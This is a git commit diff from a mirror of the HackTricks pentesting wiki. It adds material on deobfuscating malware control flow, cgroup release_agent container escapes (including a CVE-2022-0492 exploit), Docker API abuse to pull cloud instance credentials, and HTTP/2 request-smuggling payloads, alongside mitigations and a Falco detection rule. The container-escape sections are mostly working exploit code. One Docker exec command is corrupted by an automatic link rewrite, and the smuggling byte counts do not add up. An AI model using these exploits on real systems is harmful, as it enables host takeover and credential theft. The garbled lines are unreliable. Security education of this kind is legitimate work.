mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into update_Hijacker_on_the_Samsung_Galaxy_S10_with_wireless_i_20250711_123906
This commit is contained in:
SirBroccoli
GitHub
commit
50413dd66a
@ -169,7 +169,98 @@ If the files of a folder **shouldn't have been modified**, you can calculate the
|
||||
|
||||
When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
---
|
||||
|
||||
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
|
||||
|
||||
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
|
||||
|
||||
The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.
|
||||
|
||||
### 1. Locate every indirect jump / call
|
||||
|
||||
```python
|
||||
import idautils, idc
|
||||
|
||||
for ea in idautils.FunctionItems(idc.here()):
|
||||
mnem = idc.print_insn_mnem(ea)
|
||||
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
|
||||
print(f"[+] Dispatcher found @ {ea:X}")
|
||||
```
|
||||
|
||||
### 2. Extract the dispatcher byte-code
|
||||
|
||||
```python
|
||||
import idc
|
||||
|
||||
def get_dispatcher_start(jmp_ea, count=9):
|
||||
s = jmp_ea
|
||||
for _ in range(count):
|
||||
s = idc.prev_head(s, 0)
|
||||
return s
|
||||
|
||||
start = get_dispatcher_start(jmp_ea)
|
||||
size = jmp_ea + idc.get_item_size(jmp_ea) - start
|
||||
code = idc.get_bytes(start, size)
|
||||
open(f"{start:X}.bin", "wb").write(code)
|
||||
```
|
||||
|
||||
### 3. Emulate it twice with Unicorn
|
||||
|
||||
```python
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
import struct
|
||||
|
||||
def run(code, zf=0, cf=0):
|
||||
BASE = 0x1000
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_64)
|
||||
mu.mem_map(BASE, 0x1000)
|
||||
mu.mem_write(BASE, code)
|
||||
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
|
||||
mu.reg_write(UC_X86_REG_RAX, 0)
|
||||
mu.emu_start(BASE, BASE+len(code))
|
||||
return mu.reg_read(UC_X86_REG_RAX)
|
||||
```
|
||||
|
||||
Run `run(code,0,0)` and `run(code,1,1)` to obtain the *false* and *true* branch targets.
|
||||
|
||||
### 4. Patch back a direct jump / call
|
||||
|
||||
```python
|
||||
import struct, ida_bytes
|
||||
|
||||
def patch_direct(ea, target, is_call=False):
|
||||
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
|
||||
disp = target - (ea + 5) & 0xFFFFFFFF
|
||||
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
|
||||
```
|
||||
|
||||
After patching, force IDA to re-analyse the function so the full CFG and Hex-Rays output are restored:
|
||||
|
||||
```python
|
||||
import ida_auto, idaapi
|
||||
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
|
||||
```
|
||||
|
||||
### 5. Label indirect API calls
|
||||
|
||||
Once the real destination of every `call rax` is known you can tell IDA what it is so parameter types & variable names are recovered automatically:
|
||||
|
||||
```python
|
||||
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
|
||||
```
|
||||
|
||||
### Practical benefits
|
||||
|
||||
* Restores the real CFG → decompilation goes from *10* lines to thousands.
|
||||
* Enables string-cross-reference & xrefs, making behaviour reconstruction trivial.
|
||||
* Scripts are reusable: drop them into any loader protected by the same trick.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
|
||||
|
||||
## References
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,9 @@
|
||||
|
||||
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## Classic PoC (2019)
|
||||
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
@ -14,51 +16,112 @@ touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
The PoC abuses the **cgroup-v1** `release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`. Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
|
||||
|
||||
1. **Prepare the Environment:**
|
||||
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
|
||||
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
|
||||
### Short, readable walk-through
|
||||
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
1. **Prepare a new cgroup**
|
||||
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # or –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
|
||||
2. **Point `release_agent` to attacker-controlled script on the host**
|
||||
|
||||
```shell
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
|
||||
3. **Drop the payload**
|
||||
|
||||
```shell
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
|
||||
4. **Trigger the notifier**
|
||||
|
||||
```shell
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # add ourselves and immediately exit
|
||||
cat /output # now contains host processes
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2022 kernel vulnerability – CVE-2022-0492
|
||||
|
||||
In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
|
||||
|
||||
Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**. On a default-configured, root-running Docker/Kubernetes container this allowed:
|
||||
|
||||
* privilege escalation to root on the host; ↗
|
||||
* container escape without the container being privileged.
|
||||
|
||||
The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### Minimal exploit inside a container
|
||||
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
If the kernel is vulnerable the busybox binary from the *host* executes with full root.
|
||||
|
||||
### Hardening & Mitigations
|
||||
|
||||
* **Update the kernel** (≥ versions above). The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
|
||||
* **Prefer cgroup-v2** – the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
|
||||
* **Disable unprivileged user namespaces** on hosts that do not need them:
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
|
||||
* **Read-only bind-mask** all `release_agent` files (Palo Alto script example):
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## Detection at runtime
|
||||
|
||||
[`Falco`](https://falco.org/) ships a built-in rule since v0.32:
|
||||
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
|
||||
2. **Set Up the Child Cgroup:**
|
||||
- A child cgroup named "x" is created within the mounted cgroup directory.
|
||||
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
|
||||
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
|
||||
3. **Configure the Release Agent:**
|
||||
- The path of the container on the host is obtained from the /etc/mtab file.
|
||||
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
|
||||
4. **Create and Configure the /cmd Script:**
|
||||
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
|
||||
5. **Trigger the Attack:**
|
||||
- A process is initiated within the "x" child cgroup and is immediately terminated.
|
||||
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
The rule triggers on any write attempt to `*/release_agent` from a process inside a container that still wields `CAP_SYS_ADMIN`.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detailed analysis and mitigation script.
|
||||
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@ -108,7 +108,6 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
|
||||
|
||||
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
||||
@ -86,7 +86,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -254,8 +254,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -269,7 +269,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
|
||||
## Shodan
|
||||
@ -316,4 +316,3 @@ Entry_1:
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@ -163,7 +163,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
@ -337,4 +337,3 @@ You can use auditd to monitor docker.
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@ -65,7 +65,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
|
||||
@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@ -21,8 +21,8 @@ droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
|
||||
@ -2,40 +2,86 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**This is a summary of the post** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
**This page summarizes, extends and updates** the seminal PortSwigger research on [Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) and subsequent work on HTTP/2 connection-state abuse. It focuses on vulnerabilities where **an origin is determined only once per TCP/TLS connection**, enabling an attacker to “smuggle” requests to a different internal host once the channel is established.
|
||||
|
||||
## Connection State Attacks <a href="#state" id="state"></a>
|
||||
## Connection-State Attacks <a href="#state" id="state"></a>
|
||||
|
||||
### First-request Validation
|
||||
|
||||
When routing requests, reverse proxies might depend on the **Host header** to determine the destination back-end server, often relying on a whitelist of hosts that are permitted access. However, a vulnerability exists in some proxies where the whitelist is only enforced on the initial request in a connection. Consequently, attackers could exploit this by first making a request to an allowed host and then requesting an internal site through the same connection:
|
||||
When routing requests, reverse proxies might depend on the **Host** (or **:authority** in HTTP/2) header to determine the destination back-end server, often relying on a whitelist of hosts that are permitted access. However, a vulnerability exists in a number of proxies where the whitelist is **only enforced on the very first request in a connection**. Consequently, attackers can access internal virtual hosts by first sending an allowed request and then re-using the same underlying connection:
|
||||
|
||||
```
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
Host: allowed-external-host.example
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: [internal-host]
|
||||
GET /admin HTTP/1.1
|
||||
Host: internal-only.example
|
||||
```
|
||||
|
||||
### First-request Routing
|
||||
|
||||
In some configurations, a front-end server may use the **Host header of the first request** to determine the back-end routing for that request, and then persistently route all subsequent requests from the same client connection to the same back-end connection. This can be demonstrated as:
|
||||
Many HTTP/1.1 reverse proxies map an outbound connection to a back-end pool **based exclusively on the first request they forward**. All subsequent requests sent through the same front-end socket are silently re-used, regardless of their Host header. This can be combined with classic [Host header attacks](https://portswigger.net/web-security/host-header) such as password-reset poisoning or [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning) to obtain SSRF-like access to other virtual hosts:
|
||||
|
||||
```
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Host: public.example
|
||||
|
||||
POST /pwreset HTTP/1.1
|
||||
Host: psres.net
|
||||
Host: private.internal
|
||||
```
|
||||
|
||||
This issue can potentially be combined with [Host header attacks](https://portswigger.net/web-security/host-header), such as password reset poisoning or [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), to exploit other vulnerabilities or gain unauthorized access to additional virtual hosts.
|
||||
|
||||
> [!TIP]
|
||||
> To identify these vulnerabilities, the 'connection-state probe' feature in HTTP Request Smuggler can be utilized.
|
||||
> In Burp Suite Professional ≥2022.10 you can enable **HTTP Request Smuggler → Connection-state probe** to automatically detect these weaknesses.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
---
|
||||
|
||||
## NEW in 2023-2025 – HTTP/2/3 Connection Coalescing Abuse
|
||||
|
||||
Modern browsers routinely **coalesce** HTTP/2 and HTTP/3 requests onto a single TLS connection when the certificate, ALPN protocol and IP address match. If a front-end only authorizes the first request, every subsequent coalesced request inherits that authorisation – **even if the Host/:authority changes**.
|
||||
|
||||
### Exploitation scenario
|
||||
1. The attacker controls `evil.com` which resolves to the same CDN edge node as the target `internal.company`.
|
||||
2. The victim’s browser already has an open HTTP/2 connection to `evil.com`.
|
||||
3. The attacker embeds a hidden `<img src="https://internal.company/…">` in their page.
|
||||
4. Because the connection parameters match, the browser re-uses the **existing** TLS connection and multiplexes the request for `internal.company`.
|
||||
5. If the CDN/router only validated the first request, the internal host is exposed.
|
||||
|
||||
PoCs for Chrome/Edge/Firefox are available in James Kettle’s talk *“HTTP/2: The Sequel is Always Worse”* (Black Hat USA 2023).
|
||||
|
||||
### Tooling
|
||||
* **Burp Suite 2023.12** introduced an experimental **HTTP/2 Smuggler** insertion point that automatically attempts coalescing and TE/CL techniques.
|
||||
* **smuggleFuzz** (https://github.com/microsoft/smugglefuzz) – A Python framework released in 2024 to brute-force front-end/back-end desync vectors over HTTP/2 and HTTP/3, including connection-state permutations.
|
||||
|
||||
### Mitigations
|
||||
* Always **re-validate Host/:authority on every request**, not only on connection creation.
|
||||
* Disable or strictly scope **origin coalescing** on CDN/load-balancer layers (e.g. `http2_origin_cn` off in NGINX).
|
||||
* Deploy separate certificates or IP addresses for internal and external hostnames so the browser cannot legally coalesce them.
|
||||
* Prefer **connection: close** or `proxy_next_upstream` after each request where practical.
|
||||
|
||||
---
|
||||
|
||||
## Real-World Cases (2022-2025)
|
||||
|
||||
| Year | Component | CVE | Notes |
|
||||
|------|-----------|-----|-------|
|
||||
| 2022 | AWS Application Load Balancer | – | Host header only validated on first request; fixed by patching rules engine (disclosed by SecurityLabs). |
|
||||
| 2023 | Apache Traffic Server < 9.2.2 | CVE-2023-39852 | Allowed request smuggling via HTTP/2 connection reuse when `CONFIG proxy.config.http.parent_proxy_routing_enable` was set. |
|
||||
| 2024 | Envoy Proxy < 1.29.0 | CVE-2024-2470 | Improper validation of :authority after first stream enabled cross-tenant request smuggling in shared meshes. |
|
||||
|
||||
---
|
||||
|
||||
## Detection Cheat-Sheet
|
||||
|
||||
1. Send two requests in the **same** TCP/TLS connection with different Host or :authority headers.
|
||||
2. Observe whether the second response originates from the first host (safe) or the second host (vulnerable).
|
||||
3. In Burp: `Repeat → keep-alive → Send → Follow`.
|
||||
4. When testing HTTP/2, open a **dedicated** stream (ID 1) for a benign host, then multiplex a second stream (ID 3) to an internal host and look for a reply.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
* PortSwigger Research – *HTTP/2: The Sequel is Always Worse* (Black Hat USA 2023)
|
||||
* Envoy Security Advisory CVE-2024-2470 – Improper authority validation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -2,9 +2,100 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the post [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
|
||||
HTTP/2 is generally considered immune to classic request-smuggling because the length of each DATA frame is explicit. **That protection disappears as soon as a front-end proxy “downgrades” the request to HTTP/1.x before forwarding it to a back-end**. The moment two different parsers (the HTTP/2 front-end and the HTTP/1 back-end) try to agree on where one request ends and the next begins, all the old desync tricks come back – plus a few new ones.
|
||||
|
||||
---
|
||||
## Why downgrades happen
|
||||
|
||||
1. Browsers already speak HTTP/2, but much legacy origin infrastructure still only understands HTTP/1.1.
|
||||
2. Reverse-proxies (CDNs, WAFs, load-balancers) therefore terminate TLS + HTTP/2 at the edge and **rewrite every request as HTTP/1.1** for the origin.
|
||||
3. The translation step has to create *both* `Content-Length` **and/or** `Transfer-Encoding: chunked` headers so that the origin can determine body length.
|
||||
|
||||
Whenever the front-end trusts the HTTP/2 frame length **but** the back-end trusts CL or TE, an attacker can force them to disagree.
|
||||
|
||||
---
|
||||
## Two dominant primitive classes
|
||||
|
||||
| Variant | Front-end length | Back-end length | Typical payload |
|
||||
|---------|-----------------|-----------------|-----------------|
|
||||
| **H2.TE** | HTTP/2 frame | `Transfer-Encoding: chunked` | Embed an extra chunked message body whose final `0\r\n\r\n` is *not* sent, so the back-end waits for the attacker-supplied “next” request. |
|
||||
| **H2.CL** | HTTP/2 frame | `Content-Length` | Send a *smaller* CL than the real body, so the back-end reads past the boundary into the following request. |
|
||||
|
||||
> These are identical in spirit to classic TE.CL / CL.TE, just with HTTP/2 replacing one of the parsers.
|
||||
|
||||
---
|
||||
## Identifying a downgrade chain
|
||||
|
||||
1. Use **ALPN** in a TLS handshake (`openssl s_client -alpn h2 -connect host:443`) or **curl**:
|
||||
```bash
|
||||
curl -v --http2 https://target
|
||||
```
|
||||
If `* Using HTTP2` appears, the edge speaks H2.
|
||||
2. Send a deliberately malformed CL/TE request *over* HTTP/2 (Burp Repeater now has a dropdown to force HTTP/2). If the response is an HTTP/1.1 error such as `400 Bad chunk`, you have proof the edge converted the traffic for a HTTP/1 parser downstream.
|
||||
|
||||
---
|
||||
## Exploitation workflow (H2.TE example)
|
||||
|
||||
```http
|
||||
:method: POST
|
||||
:path: /login
|
||||
:scheme: https
|
||||
:authority: example.com
|
||||
content-length: 13 # ignored by the edge
|
||||
transfer-encoding: chunked
|
||||
|
||||
5;ext=1\r\nHELLO\r\n
|
||||
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
|
||||
```
|
||||
1. The **front-end** reads exactly 13 bytes (`HELLO\r\n0\r\n\r\nGE`), thinks the request is finished and forwards that much to the origin.
|
||||
2. The **back-end** trusts the TE header, keeps reading until it sees the *second* `0\r\n\r\n`, thereby consuming the prefix of the attacker’s second request (`GET /admin …`).
|
||||
3. The remainder (`GET /admin …`) is treated as a *new* request queued behind the victim’s.
|
||||
|
||||
Replace the smuggled request with:
|
||||
* `POST /api/logout` to force session fixation
|
||||
* `GET /users/1234` to steal a victim-specific resource
|
||||
|
||||
---
|
||||
## h2c smuggling (clear-text upgrades)
|
||||
|
||||
A 2023 study showed that if a front-end passes the HTTP/1.1 `Upgrade: h2c` header to a back-end that supports clear-text HTTP/2, an attacker can tunnel *raw* HTTP/2 frames through an edge that only validated HTTP/1.1. This bypasses header normalisation, WAF rules and even TLS termination.
|
||||
|
||||
Key requirements:
|
||||
* Edge forwards **both** `Connection: Upgrade` and `Upgrade: h2c` unchanged.
|
||||
* Origin increments to HTTP/2 and keeps the connection-reuse semantics that enable request queueing.
|
||||
|
||||
Mitigation is simple – strip or hard-code the `Upgrade` header at the edge except for WebSockets.
|
||||
|
||||
---
|
||||
## Notable real-world CVEs (2022-2025)
|
||||
|
||||
* **CVE-2023-25690** – Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling. (fixed in 2.4.56)
|
||||
* **CVE-2023-25950** – HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests.
|
||||
* **CVE-2022-41721** – Go `MaxBytesHandler` caused left-over body bytes to be parsed as **HTTP/2** frames, enabling cross-protocol smuggling.
|
||||
|
||||
---
|
||||
## Tooling
|
||||
|
||||
* **Burp Request Smuggler** – since v1.26 it automatically tests H2.TE/H2.CL and hidden ALPN support. Enable “HTTP/2 probing” in the extension options.
|
||||
* **h2cSmuggler** – Python PoC by Bishop Fox to automate the clear-text upgrade attack:
|
||||
```bash
|
||||
python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
|
||||
```
|
||||
* **curl**/`hyper` – crafting manual payloads: `curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target`.
|
||||
|
||||
---
|
||||
## Defensive measures
|
||||
|
||||
1. **End-to-end HTTP/2** – eliminate the downgrade translation completely.
|
||||
2. **Single source of length truth** – when downgrading, *always* generate a valid `Content-Length` **and** **strip** any user-supplied `Content-Length`/`Transfer-Encoding` headers.
|
||||
3. **Normalize before route** – apply header-sanitisation *before* routing/rewrite logic.
|
||||
4. **Connection isolation** – do not reuse back-end TCP connections across users; “one request per connection” defeats queue-based exploits.
|
||||
5. **Strip `Upgrade` unless WebSocket** – prevents h2c tunnelling.
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
* PortSwigger Research – “HTTP/2: The Sequel is Always Worse” <https://portswigger.net/research/http2>
|
||||
